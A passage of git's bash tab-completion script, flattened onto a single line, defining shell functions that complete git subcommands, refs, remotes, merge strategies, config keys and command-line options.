cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) __gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= --smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge --mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case 